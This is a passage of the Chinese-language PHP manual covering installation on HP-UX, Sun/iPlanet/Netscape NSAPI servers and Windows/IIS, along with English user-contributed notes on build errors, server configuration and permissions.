APACHE_VERSION=`$APXS_HTTPD -v | head -1 | cut -f3 -d' ' | cut -f2 -d'/' | awk 'BEGIN { FS = "."; } { printf "%d", ($1 * 1000 + $2) * 1000 + $3;}'`

Why? The output of "httpd -v" prints the following string:
Server version: HP-UX_Apache-based_Web_Server/2.0.46
Server built:  Jun 26 2003 04:41:28
But the configure-Script can't deal with this string.
jason dot sheets at hp dot com
28-Feb-2003 06:45
In order to use PHP 4.3.0 on HP-UX 11 I've found I must compile it statically with Apache, it does not build as a module.
jsheets at shadotech dot com
01-Oct-2002 02:42
To clarify the my $dso_ext = "so"; comment, you can find my $dso_ext = "so";  in your apxs script you need to change that line to my $dso_ext = "sl"; otherwise make install will fail.
nikrou at ifrance dot com
08-Aug-2002 07:32
On HP-UX 11.00, there's a problem to compiling PHP as a DSO module. The script apxs is looking fot libphp4.so instead of libphp4.sl. Change the line  in the script (search "extension").
Write : my $dso_ext = "sl";
instead of : my $dso_ext = "so"; // old line

Nicolas
ichoudhury007 at yahoo dot com
31-May-2002 12:11
On HP-UX 11 ... When you are compiling PHP as DSO, you will encounter an error during "make install"

       /usr/local/apache/bin/apxs -i -a -n php4 libs/libphp4.sl
apxs:Error: file libs/libphp4.sl is not a DSO
*** Error exit code 1

---- This is because installation is looking for libphp4.so instead of sl.  You can rename or link as libphp4.so and run
james at nospam dot hp dot com
29-Jan-2002 11:46
To build for HP-UX 10.X/11.X (and some other UNIX variants) with '--enable-sockets', you'll get an error about 'u_int' being redefined in /usr/include/netinet/in.h and ext/sockets/sockets.c will fail to compile.  The problem is this line from main/php_config.h:
#define in_addr_t u_int

The above define is a problem because HP-UX (and some other UNIXs) typedef in_addr_t.  A good workaround is to replace this define in main/php_config.h with the lines from the HP-UX 11.X netinet/in.h header file (which will work for 10.X as well):
#ifndef _IN_ADDR_T
#define _IN_ADDR_T
#ifdef  __LP64__
   typedef unsigned int  in_addr_t;
#else
   typedef unsigned long  in_addr_t;
#endif
#endif
spam at adhocinc dot com
12-Oct-2001 05:35
For PHP 4.0.6 under HP-UX 11.00, I ran into errors during the compilation related to "LC_CTYPE" and other "LC_" vars.  The compilation complained that "LC_" such and such first used in such and such function.  (I think the error first came up in php_pcre.c, then in basic_functions.c).  The solution was to add "#include <locale.h>" to the php.h file.  Compilation was successful after that was added, with no other issues.  Used gcc 2.95.3, apache 1.3.20, bison 1.28, flex 2.5.4.a.
steven at oakleafconsultancy dot com
23-Jul-2001 11:28
Just a quick point to those of you (like me!) who might not be sharp enough to notice this: If you want to install PHP on an HP-UX 11.x box then you'll need to download and install the 11.x (not 10.20) versions of the software (like gcc and bison).  I didn't notice this and spent a large proportion of a day trying to figure out why the software wouldn't install!
Steve
marshalm at ebrd dot com
18-May-2001 01:58
HP-UX 11.X PA-RISC installation with oracle (oci8). You need to install the HP-UX patch PHSS_22514 patch (updated libdld.sl), otherwise you will get errors with dlopen() and dlclose() not found during the apache integration stage.
jonas__linden at hotmail dot com
23-Jan-2001 01:05
Building under HP-UX11
If you are using HP ANSI C you have to add +e i.e -Aa -D_HPUX_SOURCE +e
add a note add a note

后退 | 起点 | 前进
CGI 和命令行设置 | 上一级 | 在 OpenBSD 系统下的安装


Sun Solaris 上的 Sun、iPlanet 和 Netscape 服务器

本节包含了在 Sun Solaris 平台的 Sun Java System web Server、Sun ONE web Server、iPlanet 和 Netscape 下安装 PHP 的说明和提示。

从 PHP 4.3.3 起，可以使用基于 NSAPI 模块 PHP 脚本来生成自定义目录列表和错误页面。更多与 Apache 兼容的功能也可以使用。要了解如何在当前的 web 服务器中支持此功能，请阅读关于子请求（subrequests）的注释。

可以在下面的链接中了解更多关于在 Netscape Enterprise Server（NES）中设置 PHP 的信息：http://benoit.noss.free.fr/php/install-php4.html。

要在 Sun JSWS/Sun ONE WS/iPlanet/Netscape web 服务器中编译 PHP，请为 --with-nsapi=[DIR] 输入合适的安装目录。默认的目录通常是 /opt/netscape/suitespot/。还可以阅读 /php-xxx-version/sapi/nsapi/nsapi-readme.txt。

  1. 从 http://www.sunfreeware.com/ 或其它下载站点安装下面的软件包：

    autoconf-2.13
    automake-1.4
    bison-1_25-sol26-sparc-local
    flex-2_5_4a-sol26-sparc-local
    gcc-2_95_2-sol26-sparc-local
    gzip-1.2.4-sol26-sparc-local
    m4-1_4-sol26-sparc-local
    make-3_76_1-sol26-sparc-local
    mysql-3.23.24-beta（如果想要 mysql 支持）
    perl-5_005_03-sol26-sparc-local
    tar-1.13 (GNU tar)

  2. 请确认 PATH 变量包含适当的目录 PATH=.:/usr/local/bin:/usr/sbin:/usr/bin:/usr/ccs/bin，并使用 export PATH 命令将其导出为环境变量。

  3. gunzip php-x.x.x.tar.gz（如果使用 .gz 版本，否则跳到 4）

  4. tar xvf php-x.x.x.tar

  5. 进入 PHP 解压缩后的目录：cd ../php-x.x.x

  6. 在下面的步骤中，请确认 Netscape 服务器安装在 /opt/netscape/suitespot/ 目录中。否则，将下面命令中的该路径修改为正确的路径并运行：
    ./configure --with-mysql=/usr/local/mysql \
--with-nsapi=/opt/netscape/suitespot/ \
--enable-libgcc

  7. 运行 make，然后运行 make install。

在执行了基础的安装并阅读相应的 Readme 文件后，还需要执行一些额外的配置步骤。

Sun/iPlanet/Netscape 的配置说明. 首先需要为 LD_LIBRARY_PATH 环境变量添加一些路径，以便服务器找到所需的共享库。可以使用 web 服务器的启动脚本很好的完成这一工作。启动脚本通常位于：/path/to/server/https-servername/start。或许需要编辑其配置文件，它位于：/path/to/server/https-servername/config/。

  1. 添加下面一行到 mime.types（可以在管理服务器中添加）：
    type=magnus-internal/x-httpd-php exts=php

  2. 编辑 magnus.conf( 若服务器 >= 6）或 obj.conf（若服务器 < 6）并添加下述内容。shlib 的值根据系统的配置会有所不同。它可能类似于 /opt/netscape/suitespot/bin/libphp4.so。应该在 mime types init 后添加如下两行内容：
    Init fn="load-modules" funcs="php4_init,php4_execute,php4_auth_trans" shlib="/opt/netscape/suitespot/bin/libphp4.so"
Init fn="php4_init" LateInit="yes" errorString="Failed to initialize PHP!" [php_ini="/path/to/php.ini"]
    （PHP >= 4.3.3）php_ini 参数是可选的。但是若使用它，便可以将 php.ini 放到 web 服务器的配置目录中去。

  3. 在 obj.conf 中配置默认对象（对于虚拟服务器的类 [版本 6.0+] 是在 vserver.obj.conf 中）：
    <Object name="default">
.
.
.
.#注意 下面一行添加在所有“ObjectType”之后，所有“AddLog”之前
Service fn="php4_execute" type="magnus-internal/x-httpd-php" [inikey=value inikey=value ...]
.
.
</Object>
    （PHP >= 4.3.3）作为附加的参数，可以在 php.ini 中添加一些特别的配置选项。例如可以设置 docroot="/path/to/docroot" 指向 php4_execute 被调用的上下文（context）。对于布尔 ini 键值，请使用 0/1 作为其值，而不是 "On"、"Off" 等（它们是无效的），例如，使用 zlib.output_compression=1，而不应使用 zlib.output_compression="On"。

  4. 本步骤仅在需要配置一个由 PHP 脚本组成的目录时由必要执行（类似于一个 cgi-bin 目录）：
    <Object name="x-httpd-php">
ObjectType fn="force-type" type="magnus-internal/x-httpd-php"
Service fn=php4_execute [inikey=value inikey=value ...]
</Object>
    之后，可以在管理服务器中配置一个目录，分配给它 x-httpd-php 风格（style）。这样在该目录中的所有文件都会被当作 PHP 来执行。这样就能很方便的将 PHP 文件更名为 .html 以隐藏 PHP。

  5. 认证的设置：PHP 认证不能与其它任何类型的认证一起工作。所有认证被传递到 PHP 脚本。要为整个服务器配置 PHP 认证，在默认对象中添加下面一行：
    <Object name="default">
AuthTrans fn=php4_auth_trans
.
.
.
</Object>

  6. 要在单一目录使用 PHP 认证，添加如下内容：
    <Object ppath="d:\path\to\authenticated\dir\*">
AuthTrans fn=php4_auth_trans
</Object>

注: PHP 使用的堆栈大小取决于 web 服务器的配置。如果运行很大的 PHP 脚本时程序崩溃，推荐在 Admin Server（在“MAGNUS EDITOR”一节）中增大此项。

CGI 环境和对 php.ini 推荐的修改

当编写 PHP 脚本时，应特别注意 Sun JSWS/Sun ONE WS/iPlanet/Netscape 是一个多线程 web 服务器。因此，所有请求都运行在相同的进程空间（Web 服务器自己的空间），该空间仅有一套环境变量。如果想获得 CGI 变量，例如 PATH_INFO、HTTP_HOST 等，使用原有的 PHP 3.x 的方式（getenv()），或使用类似的方式（注册全局变量到环境变量， $_ENV），都是不可行的。只能获得运行中的 web 服务器的环境变量，而不能获得任何有效的 CGI 变量！

注: 为什么在环境中存在（无效的）CGI 变量？

答：这是因为从管理服务器中启动 web 服务器进程时，运行了 web 服务器的启动脚本，它事实上是一个 CGI 脚本（管理服务器中的一个 CGI 脚本！）。这便是为什么启动的 web 服务器包含一些 CGI 变量。可以尝试不从管理服务器启动 web 服务器，用 root 用户登录使用命令行手动启动它，会发现这些 CGI 形式的变量不复存在。

要在 PHP 4.x 中正确获得 CGI 变量，仅需修改脚本使用超级全局变量 $_SERVER。如果老脚本中使用了 $HTTP_HOST 等变量，应该在 php.ini 中打开 register_globals，并且要修改变量顺序（注意：从中删除 "E"，因为不需要这里的环境变量）：
variables_order = "GPCS"
register_globals = On

错误页面及自造目录列表的特别使用 (PHP >= 4.3.3)

可以使用 PHP 为 "404 Not Found" 或类似的错误代码生成错误页面。将下面几行添加到 obj.conf 中以覆盖默认的错误页面：
Error fn="php4_execute" code=XXX script="/path/to/script.php" [inikey=value inikey=value...]
XXX 是 HTTP 错误代码。请删除任何可能干扰 Error 设置的指令。如果想为所有可能存在的错误提供一个页面，则将 code 参数删除。脚本可以通过 $_SERVER['ERROR_TYPE'] 获得 HTTP 状态代码。

另一种可能是生成自造目录列表。只要创建一个 PHP 脚本，来显示目录列表 并在 obj.conf 中为 type="magnus-internal/directory" 将相应的默认 Service 行替换为：
Service fn="php4_execute" type="magnus-internal/directory" script="/path/to/script.php" [inikey=value inikey=value...]
错误和目录列表页面中，原始的 URI 和翻译的 URI 均被分别储存在 $_SERVER['PATH_INFO'] 和 $_SERVER['PATH_TRANSLATED'] 变量中。

关于 nsapi_virtual() 和子请求的注意事项（PHP >= 4.3.3）

NSAPI 模块现在支持 nsapi_virtual() 函数（别名：virtual()），用来在 web 服务器上创建子请求（subrequests）和在 web 页面插入请求的结果。此函数使用了一些 NSAPI 中还没有文档说明的函数。在 Unix 下，该模块自动查找需要的函数，若它们存在则使用它们。若不存在，函数 nsapi_virtual() 被禁用。

注: 但是要注意，对 nsapi_virtual() 的支持是试验性质的！

add a note add a note User Contributed Notes
ericbackstrom at hotmail dot com
28-Mar-2006 07:09
Using gcc 3.3 I had problems compiling PHP for 64 bits, I had to replace mysql/64 bits with mysql/32 bits (Solaris cannot mix 32 bits and 64 bits libraries), so I specified the following compiler flag:

CFLAGS="-m32";export CFLAGS;

I also had problems with PHP 5.1.2 in sapi/nsapi/nsapi.c source code, It had incorrect comments and file paths :S

When trying to install PHP with mysql support I found I had these problems too: http://bugs.php.net/bug.php?id=34516... So don't mix sun ld and gcc ld because you will get into troubles. I built mysql libraries myself in a separated directory.

And don't forget to set your LD_LIBRARY_PATH to something like:

LD_LIBRARY_PATH="/usr/local/lib:/usr/lib"
vijay
13-Mar-2006 10:48
If I start my iPlanet (v6.0 SP2) webserver with PHP5.1.2 i get this message every 1/2 sec in my error log....

[12/Mar/2006:11:01:48] failure (15936): Failed to read kernel statistics structures (No such device or address)

This happens only if I start my server loading PHP module. FYI - When I configured my php I had it use oracle instant client libraries.

One fix I found was to comment out this line in my magnus.conf file.

#Init fn="stats-init" profiling="on"

But I don't think i can do this on my prodcution machine. Any ideas to come around this issue?

Thanks
Vijay
jedokahn at yahoo dot com at
23-Nov-2004 04:50
I noted and installed *all* pkgs required to compile PHP5 but kept getting an error on compile when it attempted to test the gcc compiler. The /usr/ccs/bin and all the $PATH requirements were ALL there....why the error? I tried running gcc from the command prompt and got a "gcc: fatal: libiconv.so.2: open failed: "....DUH I needed to install the libiconv pkg from sunfreeware.com for gcc compiler to work. Just a small bonehead maneuver, but I thought I would add it just in case someone else ran into the particular problem.
masochisthalo at yahoo dot com
24-Aug-2004 05:28
Title: Barebones PHP Installation on Sun One Web Server 6.1 for JDS2
Author: Hijinio Reynoso Jr.
Last Updated: August 23, 2004
Summary: If you have installed Sun One Web Server 6.1 on the JDS (aka Java Desktop System from Sun), this will help you get PHP installed on it (without XML and MySQL support.)  In any case, this should get you started which is better than not having it installed at all.  These directions were based mainly on those available from PHP.net, but updated to meet the needs of this specific configuration.

Instructions
----------------------------
0. Make sure your web server isn't running and ensure that all JDS developer packages are installed; to be safe, I always ensure that all developer packages are available via Applications > System Tools > Administration > Software Installer

1. Download http://us3.php.net/get/php-5.0.1.tar.bz2/from/a/mirror and extract into the directory of your choice. (5.0.1 was the only version I could get to make install correctly)

2. CD into the extracted PHP directory and type:
> ./configure --with-nsapi=/opt/SUNWwbsvr --enable-libgcc --disable-libxml
(Your web server directory may vary from the above's default.)

3. Once it's done configuring (and it should be successful should you have all the proper packages), type:
> make

4. When its done compiling, it's time to install as root:
# make install

5. Now, configuration of your web server begins:
# cd /opt/SUNWwbsvr/https-[yourWebServer]/config

6. vi mime.types (or other editor) to add this line into it:
type=magnus-internal/x-httpd-php exts=php

7. vi magnus.conf to add the following 2 lines to end of it:  (NOTE: the 2nd line could be optional)
Init fn="load-modules" funcs="php5_init,php5_execute,php5_auth_trans" shlib="/opt/SUNWwbsvr/bin/libphp5.so"
Init fn="php5_init" LateInit="yes" errorString="Failed to initialize PHP!" [php_ini="/path/to/php.ini"]

8. vi obj.conf to add the following line to <Object name="default">. Make sure this happens after all "ObjectType" entries and before any "AddLog" entries:  (NOTE: for virtual servers, edit vserver.obj.conf)
Service fn="php5_execute" type="magnus-internal/x-httpd-php" [inikey=value inikey=value ...]

9. Now, start up your web server.  Also, make sure to log into the admin server and click the "Apply" button in there.  You will also have set "index.php" as an index filename in your virtual server's Document Preferences.

10. Congrats!  Now, you have PHP installed!  Of course, there are other features you could enable (MySQL, XML, etc.), but I haven't tested against those.  Just consult the following page for hints: http://www.php.net/manual/en/install.unix.sun.php
mark at markround dot com
20-Aug-2004 12:36
Quick note : By replacing "php4" with "php5", the above instructions work perfectly when building PHP5 for an iPlanet server. EG:-

Init fn="load-modules" funcs="php5_init,php5_execute,php5_auth_trans" etc.

Works fine here on 6.0SP2, Solaris 9 Sparc.

-Mark
[mark at markround dot com]
add a note add a note

后退 | 起点 | 前进
fhttpd 服务器 | 上一级 | CGI 和命令行设置


Windows 系统下的安装

PHP 手册
后退 前进

章 6. Windows 系统下的安装

目录
Windows 安装程序
手工安装步骤
ActiveScript
Microsoft IIS／PWS
Microsoft Windows 下的 Apache 1.3.x
Microsoft Windows 下的 Apache 2.0.x
Microsoft Windows 下的 Sun，iPlanet 和 Netscape 服务器
OmniHTTPd Server
Microsoft Windows 下的 Sambar 服务器
Microsoft Windows 下的 Xitami
从源程序编译
Windows 下安装扩展库

本节内容适用于 Windows 98/Me 以及 Windows NT/2000/XP/2003。PHP 不能在 16 位平台例如 Windows 3.1 下运行。有时把支持 PHP 的 Windows 平台称为 Win32。自 PHP 4.3.0 开始不再支持 Windows 95。

有两种方法在 Windows 下安装 PHP：手工安装或者使用安装程序安装。

如果有 Microsoft Visual Studio，也可以编译 PHP 的源程序。

一旦在 Windows 系统下安装好 PHP 之后，可能需要加载各种扩展库以实现更多的功能。

警告

互联网上还有一些多合一的安装程序，但是它们没有一个是被 PHP.net 认可的，因为我们相信，手动安装是系统安全和优化的最好选择。

Windows 安装程序

PHP 的 Windows 安装程序可以在 http://www.php.net/downloads.php 下载。它会为 IIS、PWS 和 Xitami 安装 CGI 版本的 PHP，并配置好 web 服务器。该安装程序不包含任何外部的 PHP 扩展（PHP_*.dll）。如果需要，可以在 Windows ZIP 包和 PECL 中找到。

注: 虽然 Windows 安装程序是让 PHP 工作的最容易的方法，但是它有很多限制。例如，它不支持自动安装 PHP 扩展。使用安装程序安装 PHP 不是最好的方式。

首先，在系统中安装自己选择的 HTTP（web）服务器，并确认它正常工作。

运行安装程序，按照向导说明一步步安装。它支持两种安装类型：标准，将使用合理的默认配置进行安装；高级，会在配置中询问几个问题。

安装向导会收集足够的信息来设置 php.ini 文件，并配置好 web 浏览器以使用 PHP。PHP 安装程序不能自动配置 Apache，因此需要手动进行配置。

一旦安装完成，安装程序会提示重新启动系统，重启服务器，或直接开始使用 PHP。

警告

请注意，这种安装方式安装的 PHP 不是安全的。如果需要一个安全的 PHP 设置，最好使用手动方式安装，并手动设置好每个选项。该自动安装程序能够让用户立即使用 PHP，但是这不意味着可以用于在线的服务器中。

add a note add a note User Contributed Notes
max dot floden at tjitjing dot com
31-May-2006 06:07
This is a great instruction for installing php 5 on a windows 2003/iis 6 server. There are many other instructions out there (several listed here) but this is by far the easiest to follow and the only one I found that actually works with php 5 and iis 6.

http://www.tjitjing.com/blog /2006/05/php5-with-iis6-on-windows-server-2003.html

(Updated with new/corrected url to original note by John Kerner on 20-Apr-2005 03:23
Had to put a space after blog in url to be able to post note - it does wrap fine due to all dashes but refuses to be submitted)
winterspan - AT - g m a i l . /C/O/M
20-May-2006 12:57
READ HERE If installing PHP 5.x on Windows Server 2003 / IIS 6.x ...
It was extremely frustrating getting this to work, so hopefully my struggle will allow others to do this the *easy* way.
BEFORE installing PHP 5 from a web tutorial (a good one found here: http://www.peterguy.com/php/install_IIS6.html)
You need to READ THESE TIPS:

 #Necessary Permissions For WinServer 2003 / IIS6.0#

These are the permission settings I found to work well with good security:
NTFS permissions (right-click file or folder, select preferences, go to security tab)

1) PHP Install folder -> You need to give NT account: 'Network Service' read/execute permissions on the 'php' install folder (e.g., C:\\PHP). If you have a TMP or SESSION folder within the main PHP folder, you need to give account 'Network Service' read/execute AND write access on those folders.  *(You DO NOT need to give the anonymous internet user account: 'IUSR_[name]' ANY permissions on the PHP INSTALL files themselves. )*

2) You DO need to give account: 'IUSR_name' Read/execute
permissions on the actual WWW root folder and web .php files (if you want to apply to all sites) or each websites WWW root and .php files if running multiple sites.

3) Within the IIS 6.0 console itself, in the website's preferences (right click on ind. site or 'websites' node to apply to all sites -> select preferences) on the
'Directory Security' tab -> click edit, and if you wish to allow anonymous access to your site, check the anonymous access box and be sure to enter account: 'IUSR_name'.

4) *MOST IMPORTANT*
As mentioned by a few others, install php and configure the php.ini WITH NO EXTENSIONS AT FIRST. The reason being if one of the extensions fail, the error dialog will pop up OUTSIDE of a terminal services window (remote desktop). So you will NOT BE ABLE to click on the error, and the websites php file you are trying to load in your browser will hang indefinately (after having this happen for 12 hours I almost went insane trying to figure out the problem) LOL.

Then when you have successfully loaded a test php page in the browser, go back to the php.ini file and add extensions in one at a time.

If YOU have any tips I haven't included, email me. Again,
I am not a professional, still a student in learning. :)

Now that you have read that, go back to the link I placed near the top, and follow his tutorial for general installation/setup.
Nestor Custodio
04-May-2006 11:40
If the path to your PHP directory has spaces (e.g. "C:\\Program Files\\PHP") and IIS gives a 500+ error or responds with "The specified module could not be found." when you try to run a PHP script, try changing the ISAPI DLL's path in IIS (in the "Home Directory" tab, under "Configuration...") to the 8.3-equivalent path.

That is, use C:\\PROGRA~1\\PHP\\php5isapi.dll instead of "C:\\Program Files\\PHP\\php5isapi.dll".
cjbj at hotmail dot com
03-May-2006 07:54
Notes on configuring IIS and PHP to use Oracle are at http://blogs.oracle.com/opal/2006/05/01#a24
Cam McVey
20-Apr-2006 06:48
If you are using Application Pool Isolation and you're trying to get PHP to run as CGI and you're getting 403 errors, try looking at this article (watch the word wrap):
http://www.servertastic.com/articles/2005/11/
unable-to-run-perl-or-php-in-application-pool-isolation/
SmugWimp at smugwimp dot com
20-Apr-2006 05:29
If you make changes to your PHP.ini file, consider the following.

(I'm running IIS5 on W2K server. I don't know about 2K3)

PHP will not "take" the changes until the webserver is restarted, and that doesn't mean through the MMC.  Usually folks just reboot. But you can also use the following commands, for a much faster "turnaround".  At a command line prompt, type:

iisreset /stop

and that will stop the webserver service.  Then type:

net start w3svc

and that will start the webserver service again.  MUCH faster than a reboot, and you can check your changes faster as a result with the old:

<?php>
phpinfo();
?>

in your page somewhere.

I wish I could remember where I read this tip; it isn't anything I came up with...
ratkinson at tbs-ltd dot co dot uk
04-Apr-2006 08:28
When installing onto the Windows IIS platform, ensure you add the PHPRC Server Variable to point to your PHP.INI file.

Also, add '.INI' to the FILEEXT Server Variable. Failure to add these could stop the PHP engine being able to find your PHP.INI file, and none of your modifications will be read.

Rob.
Valdinei J.
22-Mar-2006 05:17
If you get problems with ISS 6 and PHP try this:
http://www.visualwin.com/PHP-ISAPI/
I've tried to install in a different folder than c:\php but when you add the application extension mapping the ISS does not accept a path with spaces (like c:\program files\php).
niatech
02-Mar-2006 12:36
Thought someone would save some time and headaches by using this post.

Our tech department is migrating to Windows 2003 Server and they have some complex security implementations between our Web Servers and our Application (COM) servers.

If you have this type of scenario and are receiving the "Warning (null)(): Unable to lookup.... Access is denied." error, it is because the "Identity" in the Web Server's application pool does not have sufficient permissions to connect to the Application (COM) Server.

To fix this:

- create a new Application Pool
- right click the new pool and select "properties"
- click on the "Identity" tab
- change the permissions from "Network Service" to a user on the Web Server who has access to call the Application (COM) server.
- right click the application pool
- click "start"
- right click your web site
- click on the "Home Directory" tab
- change the application pool to the new application pool you've just created.
- restart IIS

Hopefully this will save someone some time and headaches.
mach
28-Feb-2006 10:15
I've installed Apache + PHP on a Windows machine of which I'm not an administrator.

I found out it was necessary to change the permissions of the httpd.conf file on C:\Program Files\Apache Group\Apache\conf in order to have everything working. Since I'm also using cygwin this was simply done with: >chmod 755 httpd.conf.
lukasz at szostak dot biz
15-Jan-2006 11:50
You can have multiple versions of PHP running on the same Apache server. I have seen many different solutions pointing at achieving this, but most of them required installing additional instances of Apache, redirecting ports/hosts, etc., which was not satisfying for me.
Finally, I have come up with the simplest solution I've seen so far, limited to reconfiguring Apache's httpd.conf.

My goal is to have PHP5 as the default scripting language for .php files in my DocumentRoot (which is in my case d:/htdocs), and PHP4 for specified DocumentRoot subdirectories.

Here it is (Apache's httpd.conf contents):

---------------------------
# replace with your PHP4 directory
ScriptAlias /php4/ "c:/usr/php4/"
# replace with your PHP5 directory
ScriptAlias /php5/ "c:/usr/php5/"

AddType application/x-httpd-php .php
Action application/x-httpd-php "/php5/php-cgi.exe"

# populate this for every directory with PHP4 code
<Directory "d:/htdocs/some_subdir">
   Action application/x-httpd-php "/php4/php.exe"
   # directory where your PHP4 php.ini file is located at
   SetEnv PHPRC "c:/usr/php4"
</Directory>

# remember to put this section below the above
<Directory "d:/htdocs">
   # directory where your PHP5 php.ini file is located at
   SetEnv PHPRC "c:/usr/php5"
</Directory>
---------------------------

This solution is not limited to having only two parallel versions of PHP. You can play with httpd.conf contents to have as many PHP versions configured as you want.
You can also use multiple php.ini configuration files for the same PHP version (but for different DocumentRoot subfolders), which might be useful in some cases.

Remember to put your php.ini files in directories specified in lines "SetEnv PHPRC...", and make sure that there's no php.ini files in other directories (such as c:\windows in Windows).

And finally, as you can see, I run PHP in CGI mode. This has its advantages and limitations. If you have to run PHP as Apache module, then... sorry - you have to use other solution (the best advice as always is: Google it!).

Hope this helps someone.
phil at pelanne dot com
06-Jan-2006 01:22
For those of you trying to install PHP 4 and PHP 5 concurrently on a windows 2003 box, there is just one rule you need to adhere to in order to make it work:

- Don't have either of them in c:\php\.
- Don't have a php.ini in your system32 directory.

Put PHP 4 into a directory called c:\php4\.  Put its php.ini in there, and make sure all the paths reflect the c:\php4 directory.

Likewise, put PHP 5 into a directory called c:\php5\.  Put its php.ini in there, and make sure all the paths reflect the c:\php5 directory.

Add them as allowed script mappings in your iis extensions area, and have fun!
cormierma_at_csdcso.on.ca
22-Dec-2005 05:34
Note to windows server 2003 users

If you install php5 ISAPI on windows server 2003 / IIS and keep getting a 404 when you try to view a php script don`t just activate "all unknown ISAPI extensions" but also activate "All Unknown CGI Extensions".
Cevher Bozkur
13-Oct-2005 09:37
I've installed php 5.0.5 with the ISAPI module, as the isapi dll file (php5isapi.dll) resides in the php root directory, I didn't have trouble in my installation (In php4 this dll file is in sapi directory and it should be moved to php root directory).

I changed some of my settings in php.ini file and restart IIS Web site,but my changes weren't applied.

Then I go to Control Panel>Administrative Tools>Services and restart the IIS Admin Service.

Everything worked like a charm...
william keith
29-Sep-2005 06:51
Dirt Simple Install Guide For PHP5/W2K Servers

For those of us out there who still have 2K servers, this is a great 3 min step by step to get you up and running.

http://www.onlamp.com/pub/a/php/2000/12/14/php_admin.html

Thanks to it's author, Darrell Brogdon!
thedeadraptor2000 at yahoo dot com
30-Aug-2005 11:02
Note regarding PHP4 Installation on IIS5 + Win2K

Tip: Don't install PHP4 on Directories with spaces in between.

I've had problems Installing PHP 4.0.0 on IIS5, Win2k's default web server, spanish version (I live in Colombia). I've had HTTP 500 Errors and I followed all instructions step by step, but nothing seemed to work.

I solved the problem eventually, and I think it had something to do with the fact that I have installed PHP4 manually and placed it in the directory "C:\Archivos de programa\php-4.4.0-Win32" ('Archivos de programa' stands for 'Program Files'), a directory with spaces in between.

When I added the application mappings for "C:\Archivos de programa\php-4.4.0-Win32/sapi/php4isapi.php", An error would ocurr and a message along with it: "Escriba una ruta de acceso valida", as in "Write a valid access rute", as in "I can't find the file".

I thought i had it when I encapsulated it with Doublequotes ("), but that didn't work either.

As a final long shot, I copied the php4isapi.dll to the windows/system32 directory and 'WALA!' It worked.

I'm not sure, but i suspect that it had to do with spaces in between directory names, so avoid those, or copy the isapi module to another directory.

Hope this helps someone!
Doug Brower
26-Aug-2005 10:44
Kudos to John Kerner's recommendation (above) to use:
http://www.tjitjing.com/code/article.php?subject=php5_iis6_install
for installation on Windows. I followed the instructions with Windows XP Professional on a dev machine, rather than Windows 2003 Server as described in the note. Only difference was to omit his step 4.a. Worked like a champ!
wappa at hotmail dotandthekangaroo com
05-Aug-2005 11:16
Don't forget if you are getting ACL exceptions to reading the test php page you have created you MUST share the PHP directory or the resources PHP uses to "everyone" but remember use restricted access for security.
jp at iticonsulting dot nl
24-Jul-2005 12:42
If you get 404 page not found on Windows/IIS5, have a look at C:\SYSTEM32\INETSRV\URLSCAN

There is a .ini file there that prevents some files from being served by IIS, even if they exist, instead IIS will give a 404. The urlscan logfile (same place) should give you some insight into what parameter is preventing a page from loading, if any.
Feroz Zahid
08-Jun-2005 04:41
In order to run php scripts with php.exe CGI instead of php4isapi.dll under IIS, following steps can be followed.

i) Add a web service extension for PHP using IIS manager. Choose a web service extension name like 'PHP' and add your php.exe path in the 'file location' while adding the required file e.g. 'C:\php\php.exe' in the Add extension dialog box. Don't forget to 'Allow' the extension file.

ii) Open php.ini file located at %systemroot%. Set the following variables to the shown values.

cgi.force_redirect = 0
cgi.redirect_status_env = ENV_VAR_NAME

iii) In your websites, add Application Mapping for '.php' and set the executable path to your php.exe file path.

You can test whether PHP is running or not and other PHP settings using the following simple PHP script.

<?php>
phpinfo();
?>

Feroz Zahid
ferozzahid [_at_] usa [_dot_] [_com_]
steve at lonetree dott com
03-Jun-2005 08:56
Hello all. Well, I'm an experienced iis admin, but I tell you, I had a devil of a time getting it to run correctly. My issue was that I was trying to do everything via term services...use this link
http://www.peterguy.com/php/install_IIS6.html
to view some seriously interesting notes on this. This guy's info was SPOT ON and worked perfectly for me. Don't forget to give Network Service group read/execute access to your web content...
donald at netriver dot net
05-May-2005 04:21
On the Windows 2003 & IIS6 platform, you can run different websites on different versions & copies of PHP. This is useful in at least two cases:

  1. You want one website on your box to have register_globals on, but since you're running IIS, you cannot specify that in an .htaccess file. And you definately don't want register_globals on for the rest of the websites.
  2. You want to run different versions of PHP for different websites, or even just different extensions. Say you wanted one site to use 4.0.5 and a different site to use 4.1.11.

Its simple, just:
  1. Move your php.ini file from your c:\windows\ directory directly to your php directory (by default that would be c:\php\)
  2. Make sure you don't have a php.ini file in any other location that would supercede the c:\php\php.ini file. Using phpinfo(); is useful here.
  3. Have your alternate version of php (either a different version or a different php.ini) have its own install directory, like c:\php4RG\ or c:\php405\.
  4. In the Home Directory Configuration for your website, specify the .php extension to use a different script, pointing it at the alternate directory.
gary at garyslittlecompany dot com
27-Apr-2005 04:57
php compiled with eapi on windows.  Spend hours trying to find something that would work for the

"Loaded DSO /..../php4apache.dll uses plain 1.3 API, this module might
crash under EAPI! (please recompile it with -DEAPI)".

Finally compiled it.

If you would like the binaries or instructions on how I did it email me.

Gary
John Kerner
20-Apr-2005 06:23
This is a great instruction for installing php 5 on a windows 2003/iis 6 server. There are many other instructions out there (several listed here) but this is by far the easiest to follow and the only one I found that actually works with php 5 and iis 6.

http://www.tjitjing.com/code/article.php?subject=php5_iis6_install
philip
05-Mar-2005 02:51
Installation instructions for PHP+Windows with the Jigsaw web server can be found here:
* http://www.circle.ch/servers/
doyouunderstand at gmail dot com
04-Mar-2005 08:31
For those having trouble installing PHP 5+ ISAPI for IIS 6 (on Windows 2003 server), who have tried everything on this site and all over the net, with no success (like I did) - try the following before throwing your server out of a 3rd story window.

http://www.benmardesign.com/IIS_PHP_MYSQL_setup/php_setup.html

It was the only thing that worked out of all the many solutions I tried.

Probably some other solutions would've worked as well, but in my frusterated state of mind, this explanation was the clearest.

My problem was that in addition to adding the the Web service extension, I was not adding the ISAPI extensions for the websites in IIS Manager manaully.  ALSO, remember to reboot after the changes on the site listed above.  It's the only thing he forgot to mention, and depending on your setup, you may need to reboot to register the dll moves and changes made.  (IIS restart will not re-register dlls).
Steve N
03-Feb-2005 12:33
Just a note following on from Luis D regarding adding the pgp4ts.dll as a Web Server Extension.

I just used the latest php-4.3.10-installer.exe from php.net and had the problems where .php files could not be found.

In order to get them to work I added and allowed the php.exe as a Web Service Extension and not the php4tx.dll.

Cheers,

Steve
claudio_jvt at hotmail dot com
14-Jan-2005 08:38
One very helpfull note to Win2003 iis6 users:
